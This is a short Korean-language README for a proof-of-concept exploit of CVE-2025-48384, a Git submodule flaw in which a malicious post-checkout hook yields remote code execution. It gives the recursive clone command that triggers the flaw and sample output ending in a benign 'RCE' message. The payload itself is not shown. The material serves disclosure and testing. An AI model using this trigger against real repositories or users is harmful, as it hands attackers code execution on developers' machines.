
악성 post-checkout 훅을 통해 원격 코드 실행으로 이어지는 Git 서브모듈 취약점인 CVE-2025-48384에 대한 개념 증명 익스플로잇입니다.
참조: CVE-2025-48384
실행 방법:
git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git
예제 출력:
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test
Cloning into 'test'...
done.
'ubmodule 'sub' ([email protected]:liamg/CVE-2025-48384-submodule.git) registered for path 'sub
'...ing into '/Users/liamg/test/sub
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
Uh-oh, this is an RCE!
실행된 페이로드는 여기에 있습니다.